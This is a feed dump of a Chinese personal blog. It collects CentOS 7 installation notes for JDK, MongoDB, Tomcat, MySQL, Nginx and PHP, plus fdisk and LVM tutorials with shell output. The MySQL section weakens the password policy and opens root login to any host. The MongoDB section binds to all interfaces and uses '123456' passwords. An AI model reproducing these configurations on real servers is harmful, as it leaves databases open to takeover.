🏰linlink~个人笔记🏰 笔记笔记什么都想记 2024-01-26T09:52:07.240Z https://www.linlink.xyz/ linlink Hexo 4.0私服搭建 https://www.linlink.xyz/posts/8876d3a1.html 2024-01-25T07:00:35.000Z 2024-01-26T09:52:07.240Z 
1
2
此篇教会你如何在Linux系统,CentOS 7发行版本上搭建私服
建议操作前先在虚拟机上执行一遍

基本环境安装

CentOS 7安装jdk17环境

进入一个比较干净的目录

1
cd /opt

安装一些基本工具

1
yum -y install wget unzip vim git

下载jdk17安装包

1
wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.rpm

利用yum工具安装jdk17

1
yum -y install ./jdk-17_linux-x64_bin.rpm

查看版本并检验安装是否成功

1
java -version

安装Mongodb 7.0.5

配置mongodb下载仓库

1
2
3
4
5
6
echo "[mongodb-org-7.0]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/7/mongodb-org/7.0/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://pgp.mongodb.com/server-7.0.asc" > /etc/yum.repos.d/mongodb-org-7.0.repo

清理repo仓库缓存，并安装mongodb，如果你是国内的网速，那么很大可能会下载失败，有必要还是上代理

1
2
yum clean all && yum makecache
yum install -y mongodb-org

启动数据库，并设置开机自启动

1
systemctl enable mongod && systemctl start mongod

查看启动状态，必须处于running状态

1
systemctl status mongod
]]> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre>< Linux Install https://www.linlink.xyz/posts/406c93a9.html 2023-05-02T07:00:34.000Z 2023-05-02T07:51:16.664Z JDK
点击查看

安装wget

1
yum -y install wget

wget下载jdk11的包

1
wget https://llwp.linlink.xyz/d/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/Linux_x64%20java/jdk-11.0.16_linux-x64_bin.tar.gz

解压

1
tar -zxvf jdk-11.0.16_linux-x64_bin.tar.gz

移到/usr/local/目录下

1
2
mv jdk-11.0.16 jdk-11
mv jdk-11 /usr/local/

配置环境变量

1
2
3
4
echo 'export JAVA_HOME=/usr/local/jdk-11
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
' >> /etc/profile

检查

1
2
source /etc/profile
java -version

Tomcat

点击查看

下载tomcat9.0版本

1
yum install -y wget && wget https://llwp.linlink.xyz/d/cloudcompute/test/apache-tomcat-9.0.74.tar.gz

解压

1
tar -zxvf apache-tomcat-9.0.74.tar.gz

移到/usr/local/目录下

1
2
mv apache-tomcat-9.0.74 tomcat-9.0
mv tomcat-9.0 /usr/local/

启动tomcat

1
sh /usr/local/tomcat-9.0/bin/startup.sh

修改默认端口

1
vi /usr/local/tomcat-9.0/conf/server.xml
1
2
3
4
5
<Connector port="8080" protocol="HTTP/1.1"
              connectionTimeout="20000"
              redirectPort="8443"
              maxParameterCount="1000"
              />

MySQL_5.7

点击查看

下载wget、wget下载MySQL的tar包

1
yum -y install wget && wget  https://llwp.linlink.xyz/d/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E5%88%97/Linux_x64%20mysql/mysql-5.7.38-1.el7.x86_64.rpm-bundle.tar

解压MySQL包

1
tar -xvf mysql-5.7.38-1.el7.x86_64.rpm-bundle.tar

安装MySQL

1
yum -y localinstall *.rpm

启动MySQL

1
systemctl start mysqld && systemctl enable mysqld

获取MySQL初始密码

1
grep 'temporary password' /var/log/mysqld.log

本地登录MySQL

1
mysql -u root -p

必须先修改为强密码

1
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '000Plinlink%';

修改密码规则

1
2
set global validate_password_policy=0;
set global validate_password_length=0;

修改你需要的密码

1
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'linlink';

进入MySQL数据库

1
use mysql;

修改权限、允许远程登陆

1
2
3
4
update user set host = '%' where user = 'root';
flush privileges;
select host, user from user;
quit

Nginx

点击查看

下载rpm包

1
wget https://nginx.org/packages/centos/7/x86_64/RPMS/nginx-1.20.2-1.el7.ngx.x86_64.rpm

安装，默认安装路径/etc/nginx

1
rpm -ivh nginx-1.20.2-1.el7.ngx.x86_64.rpm

启动

1
systemctl start nginx

开机自启(记得先关selinux)

1
systemctl enable nginx

Mongdb6.0.5

点击查看

下载

1
yum -y install wget && wget https://llwp.linlink.xyz/d/cloudcompute/Mongdb/mongodb-linux-x86_64-rhel70-6.0.5.tgz

解压

1
tar -zxvf mongodb-linux-x86_64-rhel70-6.0.5.tgz

移到/usr/local/目录下

1
2
mv mongodb-linux-x86_64-rhel70-6.0.5 mongodb
mv mongodb /usr/local/

创建mongo需要的目录

1
2
cd /usr/local/mongodb
mkdir data etc log

vi /usr/local/mongodb/etc/mongodb.conf添加内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# db存放的目录
dbpath=/usr/local/mongodb/data

# 后台启动需要配置日志输出
logpath=/usr/local/mongodb/log/mongodb.log

# 端口
port=27017
#bind_ip = 127.0.0.1   只能本地登录
# 外网访问，这个可以远程访问
bind_ip = 0.0.0.0     

# 设置成后台启动
fork=true
journal=false

# 登录验证
auth=true

配置环境变量

1
2
echo "export PATH=$PATH:/usr/local/mongodb/bin" >> /etc/profile
source /etc/profile

启动&&关闭

1
2
3
4
#启动 
mongod --config /usr/local/mongodb/etc/mongodb.conf
#关闭
mongod --config /usr/local/mongodb/etc/mongodb.conf --shutdown

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
--登录
mongo 或者是  mongo -u admin -p 123456

--切换数据库(数据库如果不存在就会创建)
use  数据库名

--用户角色
read：允许用户读取指定数据库。
readWrite：允许用户读写指定数据库。
dbAdmin：允许用户在指定数据库中执行管理函数，例如索引创建与删除，查看统计或访问 system.profile。
userAdmin：允许用户向 system.users 集合写入，可以在指定数据库里创建、删除和管理用户。
clusterAdmin：只能在 admin 数据库中创建此角色用户，赋予用户所有分片和复制集相关函数的管理权限。
readAnyDatabase：只能在 admin 数据库中创建此角色用户，赋予用户所有数据库的读权限。
readWriteAnyDatabase：只能在 admin 数据库中创建此角色用户，赋予用户所有数据库的读写权限。
userAdminAnyDatabase：只能在 admin 数据库中创建此角色用户，赋予用户所有数据库的 userAdmin 权限。
dbAdminAnyDatabase：只能在 admin 数据库中创建此角色用户，赋予用户所有数据库的 dbAdmin 权限。
root：只能在 admin 数据库中创建此角色用户，超级账号，超级所有权限。其实 dbOwner 、userAdmin、userAdminAnyDatabase 角色间接或直接提供了系统超级用户的权限。
 
数据库用户角色有：
read
readWrite
 
数据库管理员角色有：
dbAdmin
dbOwner (包含 dbAdmin,readWrite,userAdmin)
userAdmin
 
群集管理员角色有：
clusterAdmin (包含 clusterManager,clusterMonitor,hostManager)
clusterManager
clusterMonitor
hostManager
 
所有的数据库角色有：
readAnyDatabase
readWriterAnyDatabase
userAdminAnyDatabase
dbAdminAnyDatabase
 
超级用户角色
root(包含 readWriteAnyDatabase,dbAdminAnyDatabase,userAdminAnyDatabase,clusterAdmin)

--创建超级管理员用户
use admin
db.createUser({user: "root",pwd: "123456",roles: [ { role: "root", db: "admin" } ]});

--创建admin库的管理员，只用来作为用户权限的管理
use admin
db.createUser({user: "admin",pwd: "123456",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]});

--创建普通数据库的用户(需要先切换到该数据库再来创建用户)
use test
db.createUser({user: "test",pwd: "123456",roles: [ { role: "dbOwner", db: "test" } ]});

--对于用户的操作需要切换到admin库下才可以
--删除用户
use admin
db.dropUser("test")

--查看系统用户
use admin
db.system.users.find()

--修改用户密码
use admin
db.changeUserPassword("test", "12345")

--认真测试，用于测试用户是否正确，需要切换到用户所属的数据库才可以测试
use test
db.auth("test", "123456")

--数据库列表
show dbs   或者是  show  database

--显示当前数据库
db

--删除数据库
db.dropDatabase()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
--数据库列表
show dbs   或者是  show  database

--显示当前数据库
db

--删除数据库
db.dropDatabase()

--创建集合
显示创建
db.createCollection("user")

--查询当前库中的集合（或者说是表）
show collections 或者是show tables

--集合删除
db.collection.drop()
或者是
db.集合.drop()
插入数据
db.jamy.insert({"name":"jamysong","age":30,"sex":"男"});
--查询
db.jamy.find();

Php7.0

点击查看

添加epel第三方依赖库，安装YUM源

1
2
3
4
yum -y install epel-release yum-utils
rpm -Uvh http://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -ivh http://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum clean all && yum makecache

安装PHP相关依赖库和模块

1
yum install -y php70w-tidy php70w-common php70w-devel php70w-pdo php70w-mysql php70w-gd php70w-ldap php70w-mbstring php70w-mcrypt php70w-fpm

启动php-fpm服务

1
systemctl start php-fpm && systemctl status php-fpm
]]> <h1 id="JDK"><a href="#JDK" class="headerlink" title="JDK"></a>JDK</h1><details class="toggle" ><summary class="toggle-button" style="">点击查看 Linux 存储相关 https://www.linlink.xyz/posts/2425c3ad.html 2023-03-06T07:00:34.000Z 2023-04-13T03:06:08.190Z 磁盘分区
点击查看

初步了解磁盘分区

硬盘的分区主要分为基本分区（Primary Partition）和扩展分区（Extension Partition）两种，基本分区和扩展分区的数目之和不能大于4个。且基本分区可以马上被使用但不能再分区。扩展分区必须在进行分区后才能使用，也就是说它必须还要进行二次分区。那么由扩展分区再分下去的是什么呢？那就是逻辑分区（Logical Partition），并且逻辑分区没有数量上的限制
img
在Linux中，每一个硬件设备都映射到一个系统的文件，对于硬盘、光驱等IDE或SCSI设备也不例外。Linux对各种IDE设备分配了一个由hd前缀组成的文件；而对于各种SCSI设备，则分配了一个由sd前缀组成的文件。对于IDE硬盘，驱动器标识符为hdx～，其中hd表明分区所在设备的类型，这里是指IDE硬盘。x为盘号（a为基本盘，b为基本从属盘，c为辅助主盘，d为辅助从属盘）, ～代表分区，前4个分区用数字1～4表示，它们是主分区或扩展分区，从5开始就是逻辑分区。例，hda3表示为第一个IDE硬盘上的第三个主分区或扩展分区，hdb2表示为第二个IDE硬盘上的第二个主分区或扩展分区。对于SCSI硬盘则标识为sdx～, SCSI硬盘是用sd来表示分区所在设备的类型的，其余则和IDE硬盘的表示方法一样，这里不再多说。例如，第一个IDE设备，Linux就定义为hda；第二个IDE设备就定义为hdb；下面以此类推。而SCSI设备就应该是sda、sdb、sdc等

分区数量

要进行分区就必须针对每一个硬件设备进行操作，这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘（IDE或SCSI）设备，Linux分配了一个1～16的序列号码，这就代表了这块硬盘上面的分区号码。例如，第一个IDE硬盘的第一个分区，在Linux下面映射的就是hda1，第二个分区就称作hda2。对于SCSI硬盘则是sda1、sdb1等，
在Linux中规定，每一个硬盘设备最多能由4个主分区（其中包含扩展分区）构成，任何一个扩展分区都要占用一个主分区号码，也就是在一个硬盘中，主分区和扩展分区一共最多是4个。主分区的作用就是供计算机进行操作系统启动，因此每一个操作系统的启动，或者称作引导程序，都应该存放在主分区上。这就是主分区和扩展分区及逻辑分区的最大区别。在指定安装引导Linux的Bootloader的时候，都要指定在主分区上，这就是最好的例证。Linux规定了主分区（或者扩展分区）占用1～16号码中的前4个号码。以第一个IDE硬盘为例说明，主分区（或者扩展分区）占用了hda1、hda2、hda3、hda4，而逻辑分区占用了hda5到hda16等12个号码。因此，Linux下面每一个硬盘总共最多有16个分区。

分区类型

Linux分区类型有ext2,ext3,ext4,xfs,BtrFS,GlusterFS等格式

用命令fdisk创建一个基本分区(/dev/sdb1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[root@linlink ~]# fdisk /dev/sdb               //指定/dev/sdb分区
Welcome to fdisk (util-linux 2.23.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): n                       //n回车、创建一个新分区
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p //选择分区类型为(p)基本分区、e是扩展分区、l是逻辑分区(逻辑分区建立在扩展分区上)
Partition number (1-4, default 1): 1           //选择号默认1
First sector (2048-41943039, default 2048):    //选择起始扇区、有需要自己研究去
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): +5G //给分区分配大小
Partition 1 of type Linux and of size 5 GiB is set
Command (m for help): p                         //这里的p是打印分区表(/dev/sdb)
Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux

Command (m for help): w                        //w是保存退出
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@linlink ~]# lsblk
NAME            MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda               8:0    0   200G  0 disk
├─sda1            8:1    0     1G  0 part /boot
└─sda2            8:2    0   199G  0 part
  ├─centos-root 253:0    0    50G  0 lvm  /
  ├─centos-swap 253:1    0   3.9G  0 lvm  [SWAP]
  └─centos-home 253:2    0 145.1G  0 lvm  /home
sdb               8:16   0    20G  0 disk
└─sdb1            8:17   0     5G  0 part
sr0              11:0    1   4.2G  0 rom

用命令fdisk创建一个扩展分区(/dev/sdb2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
[root@linlink ~]# fdisk /dev/sdb
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux

Command (m for help): n
Partition type:
   p   primary (1 primary, 0 extended, 3 free)
   e   extended
Select (default p): e
Partition number (2-4, default 2): 2
First sector (10487808-41943039, default 10487808):
Using default value 10487808
Last sector, +sectors or +size{K,M,G} (10487808-41943039, default 41943039): +5G
Partition 2 of type Extended and of size 5 GiB is set

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b
   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux
/dev/sdb2        10487808    20973567     5242880    5  Extended
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
Syncing disks.
[root@linlink ~]# lsblk
NAME            MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda               8:0    0   200G  0 disk
├─sda1            8:1    0     1G  0 part /boot
└─sda2            8:2    0   199G  0 part
  ├─centos-root 253:0    0    50G  0 lvm  /
  ├─centos-swap 253:1    0   3.9G  0 lvm  [SWAP]
  └─centos-home 253:2    0 145.1G  0 lvm  /home
sdb               8:16   0    20G  0 disk
├─sdb1            8:17   0     5G  0 part
└─sdb2            8:18   0     1K  0 part
sr0              11:0    1   4.2G  0 rom

用命令fdisk创建一个逻辑分区(/dev/sdb5)、注意：需要先创建一个扩展分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[root@linlink ~]# fdisk /dev/sdb
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux
/dev/sdb2        10487808    20973567     5242880    5  Extended

Command (m for help): n
Partition type:
   p   primary (1 primary, 1 extended, 2 free)
   l   logical (numbered from 5)
Select (default p): l
Adding logical partition 5
First sector (10489856-20973567, default 10489856):
Using default value 10489856
Last sector, +sectors or +size{K,M,G} (10489856-20973567, default 20973567): +3G
Partition 5 of type Linux and of size 3 GiB is set

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux
/dev/sdb2        10487808    20973567     5242880    5  Extended
/dev/sdb5        10489856    16781311     3145728   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@linlink ~]# lsblk
NAME            MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda               8:0    0   200G  0 disk
├─sda1            8:1    0     1G  0 part /boot
└─sda2            8:2    0   199G  0 part
  ├─centos-root 253:0    0    50G  0 lvm  /
  ├─centos-swap 253:1    0   3.9G  0 lvm  [SWAP]
  └─centos-home 253:2    0 145.1G  0 lvm  /home
sdb               8:16   0    20G  0 disk
├─sdb1            8:17   0     5G  0 part
├─sdb2            8:18   0     1K  0 part
└─sdb5            8:21   0     3G  0 part
sr0              11:0    1   4.2G  0 rom

fdisk命令里相关参数

参数解释
a切换一个可引导标志
b编辑BSD磁盘标签
c切换DOS兼容性标志
d删除分区
g创建一个新的空GPT分区表
G创建一个IRIX (SGI)分区表
l列出已知分区类型
m打印菜单
n添加一个新分区
o创建一个新的空DOS分区表
p打印分区表
q不保存更改就退出
s创建一个新的空Sun磁盘标签
t修改分区的系统id
u改变显示/输入单元
v验证分区表
w将表写入磁盘并退出
x额外的功能(仅限专家)

LVM

点击查看

初步了解LVM

LVM是逻辑盘卷管理（Logical Volume Manager）的简称、最早应用在IBM AIX系统上。它的主要作用是动态分配硬盘分区及调整硬盘分区大小，并且可以让多个分区或者物理硬盘作为一个逻辑卷（相当于一个逻辑硬盘）来使用。这种机制可以让硬盘分区容量划分变得更灵活。通过使用Linux的逻辑卷管理器（Logical Volume Manager, LVM），用户可以在系统运行时动态调整文件系统的大小，把数据从一块硬盘重定位到另一块硬盘，也可以提高I/O操作的性能，以及提供冗余保护，它的快照功能允许用户对逻辑卷进行实时的备份。对一般用户来讲，使用最多的是动态调整文件系统大小的功能。这样，在分区时就不必为如何设置分区的大小而烦恼，只要在硬盘中预留出部分空闲空间，然后根据系统的使用情况，动态调整分区大小。
img
LVM的原理图如图所示。LVM进行逻辑卷的管理时，创建顺序是PV→VG→LV、删除的顺序LV→VG→PV、也就是说，首先创建一个物理卷（对应一个物理硬盘分区或者一个物理硬盘），然后把这些分区或者硬盘加入一个卷组（相当于一个逻辑上的大硬盘），再在这个大硬盘上划分分区LV（逻辑上的分区，也就是逻辑卷），最后把LV逻辑卷格式化以后，就可以像使用一个传统分区那样，把它挂在一个挂载点上，需要的时候，这个逻辑卷可以被动态缩放。

PV

PV（Physical Volume，物理卷）：物理卷就是指硬盘，硬盘分区或从逻辑上与硬盘分区具有同样功能的设备（如RAID），是LVM的基本存储逻辑块，处于LVM的最底层，但和基本的物理存储介质（如分区、硬盘等）比较，却包含有与LVM相关的管理参数。当前LVM允许在每个物理卷上保存这个物理卷的0～2份元数据复件。默认为1，保存在设备的开始处；为2时，在设备结束处保存第二份备份。

VG

VG（Volume Group，卷组）：可以看成单独的逻辑硬盘，建立在PV之上，是PV的组合。一个卷组中至少要包括一个PV，在卷组建立之后可以动态地添加PV到卷组。

LV

LV（Logical Volume，逻辑卷）：相当于物理分区的/dev/sdax。逻辑卷建立在卷组之上，卷组中的未分配空间可以用于建立新的逻辑卷，逻辑卷建立后可以动态地扩展或缩小空间。系统中的多个逻辑卷可以属于同一个卷组，也可以属于不同的多个卷组。

PE

PE（Physical Extent，物理区域）：物理区域是物理卷中可用于分配的最小存储单元，物理区域的大小可根据实际情况在建立物理卷时指定。物理区域大小一旦确定将不能更改，同一卷组中的所有物理卷的物理区域大小需要一致。当多个PV组成一个VG时，LVM会在所有PV上做类似格式化的动作，将每个PV切成一块块的空间，这一块块的空间就称为PE，通常是4MB。

LE

LE（Logical Extent，逻辑区域）：逻辑区域是逻辑卷中可用于分配的最小存储单元，逻辑区域的大小取决于逻辑卷所在卷组中的物理区域的大小。LE的大小为PE的倍数（通常是1∶1）。

VGDA

VGDA（Volume Group Descriptor Area，卷组描述区域）：存在于每个物理卷中，用于描述该物理卷本身、物理卷所属卷组、卷组中的逻辑卷以及逻辑卷中的物理区域的分配等所有的信息，卷组描述区域是在使用pvcreate命令建立物理卷时建立的。

创建LVM类型的分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[root@linlink ~]# fdisk /dev/sdb
Welcome to fdisk (util-linux 2.23.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): n
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-41943039, default 2048):
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): +5G
Partition 1 of type Linux and of size 5 GiB is set

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   83  Linux

Command (m for help): t
Selected partition 1
Hex code (type L to list all codes): 8e
Changed type of partition 'Linux' to 'Linux LVM'

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0xc8546a0b

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    10487807     5242880   8e  Linux LVM

物理卷管理PV

用pvcreate创建物理卷

1
2
[root@linlink ~]# pvcreate /dev/sdb1
  Physical volume "/dev/sdb1" successfully created.

用pvremove删除物理卷

1
2
[root@linlink ~]# pvremove /dev/sdb1
  Labels on physical volume "/dev/sdb1" successfully wiped.

可以通过pvs、pvscan、pvdisplay查看物理卷信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@linlink ~]# pvs
  PV         VG     Fmt  Attr PSize    PFree
  /dev/sda2  centos lvm2 a--  <199.00g 4.00m
[root@linlink ~]# pvscan
  PV /dev/sda2   VG centos          lvm2 [<199.00 GiB / 4.00 MiB free]
  Total: 1 [<199.00 GiB] / in use: 1 [<199.00 GiB] / in no VG: 0 [0   ]
[root@linlink ~]# pvdisplay
  --- Physical volume ---
  PV Name               /dev/sda2
  VG Name               centos
  PV Size               <199.00 GiB / not usable 3.00 MiB
  Allocatable           yes
  PE Size               4.00 MiB
  Total PE              50943
  Free PE               1
  Allocated PE          50942
  PV UUID               KrZMQS-uPt0-ikoL-kf0P-I9Gx-PFHw-CZ8GXl

列出已经作为pv的设备

1
2
3
4
5
6
7
8
9
10
11
[root@linlink ~]# lvmdiskscan
  /dev/centos/root [      50.00 GiB]
  /dev/sda1        [       1.00 GiB]
  /dev/centos/swap [      <3.88 GiB]
  /dev/sda2        [    <199.00 GiB] LVM physical volume
  /dev/centos/home [    <145.12 GiB]
  /dev/sdb1        [       5.00 GiB]
  3 disks
  2 partitions
  0 LVM physical volume whole disks
  1 LVM physical volume

检查

1
pvscan

卷组管理VG

创建一个卷组

1
2
3
[root@linlink ~]# vgcreate vg1 /dev/sdb1
  Physical volume "/dev/sdb1" successfully created.
  Volume group "vg1" successfully created

卷组添加一个PV

1
2
[root@linlink ~]# vgextend vg1 /dev/sdb2
  Volume group "vg1" successfully extended

卷组添去掉一个PV

1
2
[root@linlink ~]# vgreduce vg1 /dev/sdb2
  Removed "/dev/sdb2" from volume group "vg1"

删除卷组

1
2
[root@linlink ~]# vgremove vg1
  Volume group "vg1" successfully removed

vgs、vgscan、vgdisplay

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[root@linlink ~]# vgs
  VG     #PV #LV #SN Attr   VSize    VFree
  centos   1   3   0 wz--n- <199.00g 4.00m
  vg1      2   1   0 wz--n-    9.99g 4.99g
[root@linlink ~]# vgscan
  Reading volume groups from cache.
  Found volume group "centos" using metadata type lvm2
  Found volume group "vg1" using metadata type lvm2
[root@linlink ~]# vgdisplay
  --- Volume group ---
  VG Name               centos
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  4
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                3
  Open LV               3
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               <199.00 GiB
  PE Size               4.00 MiB
  Total PE              50943
  Alloc PE / Size       50942 / 198.99 GiB
  Free  PE / Size       1 / 4.00 MiB
  VG UUID               GBOQoR-njkr-HiQ6-Xm8k-iQPu-AFHP-Jb3WHi

  --- Volume group ---
  VG Name               vg1
  System ID
  Format                lvm2
  Metadata Areas        2
  Metadata Sequence No  14
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                1
  Open LV               0
  Max PV                0
  Cur PV                2
  Act PV                2
  VG Size               9.99 GiB
  PE Size               4.00 MiB
  Total PE              2558
  Alloc PE / Size       1280 / 5.00 GiB
  Free  PE / Size       1278 / 4.99 GiB
  VG UUID               1l0gl7-9OU3-IbqW-53i5-Sk8t-1fZy-XHi53N

逻辑卷管理LV

lvcreate创建一个lv

1
2
[root@linlink ~]# lvcreate -l +100%FREE vg1 -n lv1
  Logical volume "lv1" created.      //将vg1卷组的所有空间给到新创建的逻辑卷的lv1中
1
2
[root@linlink ~]# lvcreate -L 5G vg1 -n lv1
  Logical volume "lv1" created.      //将vg1卷组的5G空间给到新创建的逻辑卷的lv1中

扩展空间lvextend -L

1
lvextend -L <estend_size> <lv_path>
1
2
3
[root@linlink ~]# lvextend -L +2G /dev/vg1/lv1
  Size of logical volume vg1/lv1 changed from 5.00 GiB (1280 extents) to 7.00 GiB (1792 extents).
  Logical volume vg1/lv1 successfully resized.

删除一个lv

1
2
3
[root@linlink ~]# lvremove /dev/vg1/lv1
Do you really want to remove active logical volume vg1/lv1? [y/n]: y
  Logical volume "lv1" successfully removed

lvs、lvscan、lvdisplay查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
[root@linlink ~]# lvs
  LV   VG     Attr       LSize    Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  home centos -wi-ao---- <145.12g
  root centos -wi-ao----   50.00g
  swap centos -wi-ao----   <3.88g
  lv1  vg1    -wi-a-----    5.00g
[root@linlink ~]# lvscan
  ACTIVE            '/dev/centos/swap' [<3.88 GiB] inherit
  ACTIVE            '/dev/centos/home' [<145.12 GiB] inherit
  ACTIVE            '/dev/centos/root' [50.00 GiB] inherit
  ACTIVE            '/dev/vg1/lv1' [5.00 GiB] inherit
[root@linlink ~]# lvdisplay
  --- Logical volume ---
  LV Path                /dev/centos/swap
  LV Name                swap
  VG Name                centos
  LV UUID                xQq83K-RJRR-gglN-vHqn-M4zu-fxSw-GYEJcB
  LV Write Access        read/write
  LV Creation host, time 192.168.20.135, 2023-02-04 04:07:36 -0500
  LV Status              available
  # open                 2
  LV Size                <3.88 GiB
  Current LE             992
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:1

  --- Logical volume ---
  LV Path                /dev/centos/home
  LV Name                home
  VG Name                centos
  LV UUID                j9354I-22je-aOPM-2Gec-iNuL-3Z50-Ly4yCW
  LV Write Access        read/write
  LV Creation host, time 192.168.20.135, 2023-02-04 04:07:36 -0500
  LV Status              available
  # open                 1
  LV Size                <145.12 GiB
  Current LE             37150
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:2

  --- Logical volume ---
  LV Path                /dev/centos/root
  LV Name                root
  VG Name                centos
  LV UUID                JpAk6n-c373-CKzq-x3v2-PgWI-sxme-ME5AOS
  LV Write Access        read/write
  LV Creation host, time 192.168.20.135, 2023-02-04 04:07:36 -0500
